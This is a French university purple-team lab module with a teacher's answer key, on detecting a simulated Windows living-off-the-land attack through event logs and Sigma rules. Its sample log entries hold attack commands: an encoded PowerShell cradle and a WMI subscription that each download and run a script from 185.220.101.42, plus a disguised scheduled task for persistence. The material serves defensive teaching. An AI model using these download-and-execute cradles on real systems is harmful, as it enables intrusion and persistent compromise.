Module 1 — Ombre Légitime (Living off the Land Windows)

2h30 Acte 3 · Audit Avancé Purple · Windows · AD · Forensic-log

Auteur : Thibaut Fontaine — Kodetis Institution : Université de la Réunion Date : 2026 Position : Acte 3 (Audit & Purple Team) — module avancé. Analyse de log (pas de forensic disque/mémoire). Artefact fourni : data/_scenario/generated/06_windows_events_lotl.json (Windows Event Logs, JSONL).

---

Table des matières

• Objectifs et contexte
• Prérequis & données
• Étape 1 — Explorer les événements (R0)
• Étape 2 — Execution & désobfuscation (R1)
• Étape 3 — Persistence (R2)
• Étape 4 — Privilege Escalation (R3)
• Étape 5 — Lateral Movement (R4)
• Étape 6 — Detection Engineering (R5)
• Mapping MITRE ATT&CK
• Livrables & validation
• Annexe enseignant — corrigé

---

1. Objectifs et contexte

📡 Poste SOC · La Réunion — Acte 3, Prouver : vous reconstituez le chaînon Windows de l’attaque. Poste avancé : Dumont d’Urville (Terre Adélie), ~6 000 km, SATCOM dégradée.

🎯 Objectif métier — comprendre comment un attaquant transforme un simple phishing en compromission totale de l’AD en n’utilisant que des outils légitimes (PowerShell, tâches planifiées, WMI) — et savoir le détecter dans les journaux.

Le concept : Living off the Land (LotL)

L’attaquant n’installe pas de malware « classique » : il abuse de binaires Windows légitimes (LOLBins : powershell.exe, schtasks.exe, wmic.exe). Résultat :

• Peu d’IOC fichier (pas de binaire malveillant à détecter par hash/signature).
• Détection difficile : il faut analyser les comportements dans les Event Logs (process tree, ligne de commande, parent-child).
• Évasion EDR : les EDR voient passer des process Microsoft signés → moins suspect que evil.exe.

C’est exactement ce qu’utilisent les groupes APT documentés (Volt Typhoon, APT29) pour s’infiltrer dans les infrastructures critiques.

🔴 Au fil de l’enquête

C’est le chaînon manquant de l’incident rejoué au jour J : entre le phishing reçu par e.bernard (08:00Z) et le vol des échantillons classifiés (10:12Z). Cette phase fait passer l’attaquant de « un poste compromis » à « Domain Admin », ce qui débloque l’accès au coffre CLASSIFIED-VAULT-X.

Objectifs pédagogiques

• Lire des Windows Event Logs et les trier par event_id.
• Désobfusquer une commande PowerShell encodée (-enc Base64 / -EncodedCommand).
• Reconstituer la kill chain Windows (Execution → Persistence → Privilege Escalation → Lateral Movement).
• Mapper chaque événement à MITRE ATT&CK.
• Écrire des règles de détection Sigma (lien Acte 2 SIEM).

Architecture du TP

graph TB
 subgraph "Source forensic"
 LOGS[/06_windows_events_lotl.json
Windows Event Logs/]
 end

 subgraph "Analyse"
 JQ[jq filtrage par event_id]
 B64[base64 -d / CyberChef]
 end

 subgraph "Kill chain reconstituée"
 EXE[Execution
4688 + 4104]
 PER[Persistence
4698]
 ESC[Privilege Escalation
4672 + 4728]
 LAT[Lateral Movement
4624 + 5861]
 end

 subgraph "Detection-as-Code"
 RULES[/Règles Sigma
tp-detection-sigma/]
 ATT["Layer ATT&CK
Navigator"]
 end

 LOGS --> JQ
 JQ --> EXE
 JQ --> PER
 JQ --> ESC
 JQ --> LAT
 EXE -->|payload base64| B64
 B64 --> RULES
 LAT --> RULES
 ESC --> RULES
 RULES --> ATT

 classDef src fill:#ffcc99,stroke:#333,stroke-width:2px
 classDef chain fill:#ffccff,stroke:#333,stroke-width:2px
 classDef out fill:#99ff99,stroke:#333,stroke-width:2px

 class LOGS src
 class EXE,PER,ESC,LAT chain
 class RULES,ATT out

---

2. Prérequis & données

Récupérer les logs

Sur la VM audit :

vagrant ssh audit

# Cloner le repo data si pas déjà fait
git clone https://gitlab.com/kds-formation/data.git ~/data || true
cd ~/data/_scenario/generated

ls -lh 06_windows_events_lotl.json
# → ~120 KB, ~250 lignes JSONL (un event par ligne)

Vérifier les outils

which jq base64    # → /usr/bin/jq, /usr/bin/base64
jq --version       # → jq-1.6 ou plus

Structure d’un log Windows JSONL

# La première ligne du JSONL est un commentaire pédagogique, on saute :
sed -n '2p' 06_windows_events_lotl.json | jq .

Sortie attendue (extrait) :

{
  "TimeCreated": "2026-06-17T08:14:23.123Z",
  "EventID": 4688,
  "Channel": "Security",
  "Computer": "TAAF-W-PAF07.univ-taaf.internal",
  "SubjectUserName": "e.bernard",
  "SubjectDomainName": "UNIV-TAAF",
  "NewProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "ParentProcessName": "C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE",
  "CommandLine": "powershell.exe -NoP -W Hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADgANQAuADIAMgAwAC4AMQAwADEALgA0ADIALwBzAHQAYQBnAGUAMQAuAHAAcwAxACcAKQA="
}

Volume du fixture

Le 06_windows_events_lotl.json est un fixture pédagogique ciselé (~10 événements clés de la kill chain). Le générateur taaf_log_generator produit la version réaliste avec du bruit de fond (centaines de 4624 légitimes, des dizaines de 4688 quotidiens) — c’est cette version qui sert pour l’exercice “détection-as-code” du module SIEM. Ici, en analyse forensic, on travaille sur la version réduite.

---

3. Étape 1 — Explorer les événements (R0)

3.1 — Vue d’ensemble par event_id

# On filtre la première ligne (commentaire) et on groupe
tail -n +2 06_windows_events_lotl.json | jq -s 'group_by(.EventID) | map({event_id: .[0].EventID, count: length}) | sort_by(.event_id)'

Sortie attendue (fixture pédagogique) :

[
  {"event_id": 4104, "count": 1},
  {"event_id": 4624, "count": 4},
  {"event_id": 4672, "count": 1},
  {"event_id": 4688, "count": 1},
  {"event_id": 4698, "count": 1},
  {"event_id": 4728, "count": 1},
  {"event_id": 5861, "count": 1}
]

→ 10 événements seulement — c’est volontaire. Le fixture concentre la kill chain. Sur les logs générés par taaf_log_generator (volumétrie réaliste), vous verriez plutôt 87 × 4624, 156 × 4688, etc.

3.2 — Glossaire des EventID rencontrés

EventID	Channel	Signification
4624	Security	Logon réussi (LogonType=2 interactif, 3 réseau, 10 RDP)
4672	Security	Privilèges spéciaux assignés à un nouveau logon (admin-like)
4688	Security	Création de processus (ligne de commande + parent process — si Audit Process Creation activé)
4698	Security	Tâche planifiée créée
4728	Security	Membre ajouté à un groupe global de sécurité (ex : Domain Admins)
4104	Microsoft-Windows-PowerShell/Operational	Script Block Logging — capture du contenu des scripts PS exécutés
5861	Microsoft-Windows-WMI-Activity/Operational	Souscription WMI permanente créée (persistance furtive)

3.3 — Frise chronologique brute

tail -n +2 06_windows_events_lotl.json | \
  jq -r '"\(.TimeCreated) | \(.EventID) | \(.Computer) | \(.SubjectUserName // .TargetUserName // "-")"' | sort

Sortie attendue (les 10 événements du fixture, triés chronologiquement) :

2026-06-17T08:14:23.123Z | 4688 | TAAF-W-PAF07.univ-taaf.internal | e.bernard
2026-06-17T08:14:25.456Z | 4104 | TAAF-W-PAF07.univ-taaf.internal | e.bernard
2026-06-17T08:20:08.234Z | 4698 | TAAF-W-PAF07.univ-taaf.internal | e.bernard
2026-06-17T08:55:14.789Z | 4624 | TAAF-VPN-GW-001.univ-taaf.internal | m.martin
2026-06-17T09:12:43.567Z | 4624 | TAAF-AD-001.univ-taaf.internal | e.bernard
2026-06-17T09:45:12.876Z | 4728 | TAAF-AD-001.univ-taaf.internal | e.bernard
2026-06-17T09:45:13.001Z | 4672 | TAAF-AD-001.univ-taaf.internal | svc_backup
2026-06-17T10:05:34.567Z | 4624 | TAAF-FS-001.univ-taaf.internal | svc_backup
2026-06-17T10:05:35.678Z | 5861 | TAAF-FS-001.univ-taaf.internal | svc_backup
2026-06-17T10:08:22.413Z | 4624 | TAAF-FS-001.univ-taaf.internal | p.robert

→ Vous avez déjà la vraie chronologie de l’attaque en 7-8 lignes (les 2 lignes baseline m.martin et p.robert sont du bruit légitime). Le reste du TP est l’interprétation de chacune.

→ Vous avez déjà la vraie chronologie de l’attaque en 7 lignes. Le reste du TP est l’interprétation de chacune.

---

4. Étape 2 — Execution & désobfuscation (R1)

4.1 — Le 4688 d’entrée (08:14:23Z)

jq 'select(.EventID == 4688 and .NewProcessName | test("powershell.exe$"))' \
  06_windows_events_lotl.json

Vous trouvez un process powershell.exe lancé avec :

ParentProcessName: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
CommandLine:       powershell.exe -NoP -W Hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADgANQAuADIAMgAwAC4AMQAwADEALgA0ADIALwBzAHQAYQBnAGUAMQAuAHAAcwAxACcAKQA=

Lecture critique :

• Parent=EXCEL.EXE → le PowerShell a été lancé par Excel = signature classique d’une macro malveillante.
• -NoP (-NoProfile) + -W Hidden (-WindowStyle Hidden) → discrétion.
• -enc <base64> → la commande réelle est obfusquée.

4.2 — Désobfusquer le payload

echo "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADgANQAuADIAMgAwAC4AMQAwADEALgA0ADIALwBzAHQAYQBnAGUAMQAuAHAAcwAxACcAKQA=" \
  | base64 -d \
  | iconv -f UTF-16LE -t UTF-8

Sortie attendue :

IEX (New-Object Net.WebClient).DownloadString('https://185.220.101.42/stage1.ps1')

Lecture :

• IEX = Invoke-Expression → exécute la chaîne récupérée.
• New-Object Net.WebClient + .DownloadString(...) → télécharge et exécute en mémoire un script de stage 2.
• 185.220.101.42 = l’IP du C2 (cohérent avec les autres événements de la kill chain).

Pourquoi -enc est encodé en UTF-16LE

PowerShell -EncodedCommand attend du Base64 d’une string UTF-16 Little-Endian. C’est pourquoi un base64 -d brut donne du texte avec des caractères nuls — il faut le passer en iconv -f UTF-16LE -t UTF-8 pour le lire.

4.3 — Confirmer avec le 4104 (Script Block Logging)

jq 'select(.EventID == 4104) | {time: .TimeCreated, script: .ScriptBlockText}' \
  06_windows_events_lotl.json | head -3

Sortie attendue :

{
  "time": "2026-06-17T08:14:25.456Z",
  "script": "IEX (New-Object Net.WebClient).DownloadString('https://185.220.101.42/stage1.ps1')"
}

→ Confirmation : le Script Block Logging a capturé le payload après désobfuscation par PowerShell. C’est exactement pourquoi cette feature est si précieuse.

📸 Capture obligatoire #1 : le JSON du 4688 (CommandLine + parent EXCEL) + le 4104 désobfusqué côte à côte.

---

5. Étape 3 — Persistence (R2)

5.1 — La tâche planifiée (08:20:08Z)

jq 'select(.EventID == 4698)' 06_windows_events_lotl.json

Sortie attendue (extrait) :

{
  "TimeCreated": "2026-06-17T08:20:08.234Z",
  "EventID": 4698,
  "Channel": "Security",
  "Computer": "TAAF-W-PAF07.univ-taaf.internal",
  "SubjectUserName": "e.bernard",
  "TaskName": "\\SystemUpdateTask",
  "TaskContent": "<Task><Triggers><LogonTrigger/></Triggers><Actions><Exec><Command>powershell.exe</Command><Arguments>-NoP -W Hidden -enc SQBFAFgAIAA...</Arguments></Exec></Actions></Task>"
}

Lecture :

• Nom SystemUpdateTask = camouflage (mime un nom légitime).
• Trigger : LogonTrigger → s’exécute à chaque login → l’attaquant survit au reboot et à la déconnexion de la victime.
• Arguments : encore un -enc du même type → recharge le stage 1 à chaque démarrage.

📸 Capture obligatoire #2 : le 4698 avec le XML de la tâche.

5.2 — Pourquoi c’est un signal critique

Élément	Pourquoi suspect
schtasks lancé par un user simple (e.bernard)	Les tâches planifiées légitimes sont créées par des admins ou des installers signés
Nom mimant une tâche système (SystemUpdateTask)	Camouflage
Arguments = PowerShell -enc	Obfuscation = pas de raison légitime

---

6. Étape 4 — Privilege Escalation (R3)

6.1 — L’ajout à Domain Admins (09:45:12Z)

jq 'select(.EventID == 4728)' 06_windows_events_lotl.json

Sortie attendue :

{
  "TimeCreated": "2026-06-17T09:45:12.876Z",
  "EventID": 4728,
  "Channel": "Security",
  "Computer": "TAAF-AD-001.univ-taaf.internal",
  "SubjectUserName": "e.bernard",
  "SubjectDomainName": "UNIV-TAAF",
  "TargetUserName": "svc_backup",
  "GroupName": "Domain Admins",
  "GroupDomainName": "UNIV-TAAF"
}

Lecture critique :

• Subject = e.bernard → celui qui exécute l’action (compte compromis).
• Target = svc_backup → celui qui est promu (compte de service).
• Group = Domain Admins → groupe ultra-privilégié.

→ Un compte utilisateur standard (e.bernard) ajoute un compte de service à Domain Admins. Si l’AD était correctement durci, e.bernard ne devrait pas avoir le droit de modifier ce groupe — c’est exactement la faiblesse AD que l’on auditera au TP PingCastle.

6.2 — La conséquence (09:45:13Z)

jq 'select(.EventID == 4672 and .SubjectUserName == "svc_backup")' \
  06_windows_events_lotl.json

→ Le premier logon ultérieur de svc_backup lève un 4672 (Special Privileges Assigned) — le compte a maintenant les pouvoirs d’admin du domaine.

📸 Capture obligatoire #3 : le 4728 avec subject e.bernard et target svc_backup → Domain Admins.

---

7. Étape 5 — Lateral Movement (R4)

7.1 — Le logon WMI réseau (10:05:34Z)

jq 'select(.EventID == 4624 and .LogonType == 3 and .TargetUserName == "svc_backup")' \
  06_windows_events_lotl.json

Sortie attendue :

{
  "TimeCreated": "2026-06-17T10:05:34.567Z",
  "EventID": 4624,
  "Channel": "Security",
  "Computer": "TAAF-FS-001.univ-taaf.internal",
  "TargetUserName": "svc_backup",
  "LogonType": 3,
  "ProcessName": "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe",
  "IpAddress": "10.42.10.77",
  "WorkstationName": "TAAF-W-PAF07"
}

Lecture :

• LogonType=3 → logon réseau (pas interactif, pas RDP).
• ProcessName=WmiPrvSE.exe → le processus qui authentifie est le provider WMI = mouvement latéral par WMI.
• IpAddress=10.42.10.77 = TAAF-W-PAF07 (le poste de e.bernard).
• Computer=TAAF-FS-001 = le serveur de fichiers (où vit NextCloud).

→ svc_backup (qui a maintenant les privilèges DA) se déplace de TAAF-W-PAF07 vers TAAF-FS-001 via WMI. C’est l’étape juste avant le vol des données.

7.2 — La souscription WMI permanente (10:05:35Z)

jq 'select(.EventID == 5861)' 06_windows_events_lotl.json

Sortie attendue :

{
  "TimeCreated": "2026-06-17T10:05:35.678Z",
  "EventID": 5861,
  "Channel": "Microsoft-Windows-WMI-Activity/Operational",
  "Computer": "TAAF-FS-001.univ-taaf.internal",
  "Namespace": "//./root/subscription",
  "EventFilter": "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'",
  "EventConsumer": "CommandLineEventConsumer",
  "ConsumerCommand": "powershell.exe -NoP -W Hidden -c \"IEX(New-Object Net.WebClient).DownloadString('https://185.220.101.42/persist.ps1')\""
}

Lecture :

• L’attaquant inscrit un consumer WMI qui s’exécute à chaque nouveau logon sur TAAF-FS-001.
• Persistance furtive : pas de fichier, pas de tâche planifiée, pas de service. Juste une entrée dans le namespace WMI.

📸 Capture obligatoire #4 : le 5861 avec EventFilter + ConsumerCommand visibles.

7.3 — Pourquoi WMI plutôt que PsExec ?

Méthode	Logs générés	Furtivité
PsExec	Service installé (7045) + processus à distance	🟡 Détectable (service inconnu)
WMI	Logon réseau (4624) + souscription si persistante (5861)	🟢 Plus furtif — pas de service, pas d’install
WinRM	4624 + canal winrm	🟡 Détectable si winrm pas attendu

→ WMI est l’outil par défaut des kill chains avancées : présent sur tous les Windows, signé Microsoft, légitime pour l’administration.

---

8. Étape 6 — Detection Engineering (R5)

Pont vers l’Acte 2

Reprenez votre repo taaf-detections du TP1 SIEM. Ajoutez les règles de détection Windows.

Règle #1 — PowerShell -enc lancé par Office (T1059.001 + T1204.002)

rules/execution/powershell-enc-from-office.yml :

title: PowerShell -enc Launched from Office Process
id: 5b6c7d8e-9f0a-1b2c-3d4e-5f6a7b8c9d0e
status: experimental
description: |
  Détecte un processus powershell.exe lancé avec -enc/-EncodedCommand
  dont le parent est un processus Office (EXCEL, WORD, OUTLOOK).
  Signature classique de macro malveillante.
references:
  - https://attack.mitre.org/techniques/T1059/001/
  - https://attack.mitre.org/techniques/T1204/002/
author: TAAF SOC
date: 2026/06/17
logsource:
  product: windows
  service: security
  category: process_creation
detection:
  selection_proc:
    EventID: 4688
    NewProcessName|endswith: '\powershell.exe'
  selection_cmd:
    CommandLine|contains:
      - '-enc '
      - '-EncodedCommand'
  selection_parent:
    ParentProcessName|endswith:
      - '\EXCEL.EXE'
      - '\WINWORD.EXE'
      - '\OUTLOOK.EXE'
      - '\POWERPNT.EXE'
  condition: selection_proc and selection_cmd and selection_parent
fields:
  - Computer
  - SubjectUserName
  - ParentProcessName
  - CommandLine
level: critical
tags:
  - attack.execution
  - attack.t1059.001
  - attack.initial_access
  - attack.t1204.002

Règle #2 — Ajout à Domain Admins par compte non-admin (T1098 + T1078.002)

rules/privilege_escalation/add-to-domain-admins.yml :

title: User Added to Domain Admins
id: 6c7d8e9f-0a1b-2c3d-4e5f-6a7b8c9d0e1f
status: stable
description: |
  Détecte l'ajout d'un utilisateur au groupe 'Domain Admins'.
  Pour la posture TAAF, ce groupe doit être quasiment immuable.
  Toute modification est un signal critique.
references:
  - https://attack.mitre.org/techniques/T1098/
  - https://attack.mitre.org/techniques/T1078/002/
author: TAAF SOC
date: 2026/06/17
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4728
    GroupName: 'Domain Admins'
  condition: selection
fields:
  - SubjectUserName
  - TargetUserName
  - GroupName
level: critical
tags:
  - attack.persistence
  - attack.t1098
  - attack.privilege_escalation
  - attack.t1078.002

Règle #3 — Souscription WMI permanente (T1546.003)

rules/persistence/wmi-event-subscription.yml :

title: WMI Permanent Event Subscription Created
id: 7d8e9f0a-1b2c-3d4e-5f6a-7b8c9d0e1f2a
status: stable
description: |
  Détecte la création d'une souscription WMI permanente avec un consumer
  qui exécute du code arbitraire (CommandLineEventConsumer / ActiveScriptEventConsumer).
  Technique de persistance furtive — quasiment jamais légitime.
references:
  - https://attack.mitre.org/techniques/T1546/003/
author: TAAF SOC
date: 2026/06/17
logsource:
  product: windows
  service: wmi
detection:
  selection:
    EventID: 5861
    EventConsumer|contains:
      - 'CommandLineEventConsumer'
      - 'ActiveScriptEventConsumer'
  condition: selection
fields:
  - Computer
  - Namespace
  - EventFilter
  - ConsumerCommand
level: critical
tags:
  - attack.persistence
  - attack.t1546.003

Compiler vers LogQL

cd ~/taaf-detections
source ~/sigma-venv/bin/activate
./scripts/compile.sh

→ Vous avez maintenant 6 règles dans le repo (3 du TP1 SIEM + 3 du Module 1 Audit). Vérifiez la couverture ATT&CK :

./scripts/build-layer.sh   # script du TP3 couverture

→ Vous devez voir T1078.002, T1213.002, T1041 (TP1 SIEM) + T1059.001, T1204.002, T1098, T1546.003 (Module 1).

---

9. Mapping MITRE ATT&CK

Étape	EventID	Technique principale	Sous-technique
Initial Access	(mail, hors Windows)	T1566.001 Spearphishing Attachment	—
Execution	4688 (parent EXCEL)	T1204.002 Malicious File	—
Execution	4688 + 4104	T1059.001 PowerShell	T1027 Obfuscated Files
Persistence	4698	T1053.005 Scheduled Task	—
Privilege Escalation	4672 + 4728	T1098 Account Manipulation	T1078.002 Domain Accounts
Lateral Movement	4624 (LogonType=3)	T1021.002 SMB/Windows Admin Shares	T1047 WMI
Persistence (avancée)	5861	T1546.003 WMI Event Subscription	—

---

10. Livrables & validation

Livrables (à pousser sur GitLab)

1. Timeline reconstruite (markdown ou PDF) — table heure / EventID / action / technique ATT&CK.
2. Payload PowerShell désobfusqué + commande de décodage utilisée.
3. 3 règles de détection Sigma dans taaf-detections/rules/{execution,privilege_escalation,persistence}/.
4. Layer ATT&CK Navigator régénéré avec les 6+ techniques couvertes.
5. Paragraphe d’analyse (1 page) :
   • Pourquoi le LotL est-il difficile à détecter ?
   • Qu’est-ce qui l’a quand même trahi ici ? (= comportements + audit complet)
   • Quelle règle aurait coupé la chaîne le plus tôt ?

Grille de validation

Critère	Pondération
Timeline complète (7+ événements correctement situés)	20 %
Payload -enc décodé correctement (avec commande de décodage)	15 %
3 règles Sigma compilables (sigma convert exit 0)	25 %
Mapping ATT&CK affiné (sous-techniques)	15 %
Paragraphe d’analyse LotL (≥ ½ page argumentée)	15 %
Détection « coupe-tôt » identifiée et justifiée	10 %

Format de rendu : PDF nom-prenom-promo.pdf sur Moodle.

---

11. Annexe enseignant — corrigé

Réponses aux questions de validation

1. LOLBin = binaire légitime Windows abusé pour de l’attaque (LOL = Living off the Land). Exemples vus : powershell.exe, schtasks.exe (créé via 4698), WmiPrvSE.exe (mouvement latéral 4624 + 5861).

2. Payload désobfusqué : IEX (New-Object Net.WebClient).DownloadString('https://185.220.101.42/stage1.ps1') — télécharge et exécute en mémoire un script de stage 2 depuis l’IP du C2.

3. 4728 critique : modification d’un groupe d’admins du domaine = élévation maximale. Subject = e.bernard (compte utilisateur compromis) → faute architecturale AD : un user standard ne devrait pas pouvoir modifier Domain Admins.

4. Deux persistances distinctes : (a) tâche planifiée SystemUpdateTask (4698, trigger logon) ; (b) souscription WMI permanente (5861, CommandLineEventConsumer au LogonSession).

5. Lien audit AD : l’escalade svc_backup → Domain Admins initiée par e.bernard n’aurait pas été possible si l’AD avait été correctement tiéré (tier 0 isolé). PingCastle attendu : « Active Directory Tier model not implemented », « Delegation on critical groups », score Privileged Accounts élevé.

6. Règle coupe-tôt : la règle #1 (PowerShell -enc launched from Office) attrape l’attaque à 08:14:23Z — soit avant la persistance (08

   ), l’escalade (09
   ) et tout le reste. C’est l’investissement de détection le plus rentable.

7. WMI plus furtif que PsExec : pas de service installé (7045), pas de binaire déposé. Le process WmiPrvSE.exe est légitimement présent sur tout Windows pour l’administration → noise normal qui camoufle l’attaque. PsExec, lui, installe un service PSEXESVC immédiatement détectable.

Évaluation des erreurs courantes

• Décodage Base64 sans iconv UTF-16LE → texte avec caractères nuls illisibles. -5 %.
• Règle WMI sans CommandLineEventConsumer → faux positifs sur tous les souscriptions WMI légitimes (Defender, etc.). -10 %.
• Règle 4728 trop large (sans GroupName: Domain Admins) → trop de bruit. -5 %.
• Pas de mapping sous-techniques → -10 %.
• Confusion subject/target dans le 4728 → -5 % (montre que la lecture du log n’est pas maîtrisée).

Pont vers l’audit AD

L’élève sort de ce TP en sachant précisément quelle faiblesse AD a été exploitée. Au TP suivant (PingCastle), il prouvera cette faiblesse via un audit AD et proposera la remédiation (tiering, retrait DA pour les comptes de service, LAPS).

Pont vers le Purple Team

Toutes les règles écrites ici seront rejouées au TP Purple Team avec MITRE Caldera : si vos règles détectent bien, l’alerte tombe. Si non, vous documentez le gap.

---

Références

• MITRE ATT&CK — T1059.001 PowerShell
• MITRE ATT&CK — T1546.003 WMI Event Subscription
• Microsoft — Audit Process Creation (4688)
• Microsoft — Script Block Logging (4104)
• LOLBAS Project
• SigmaHQ — Windows rules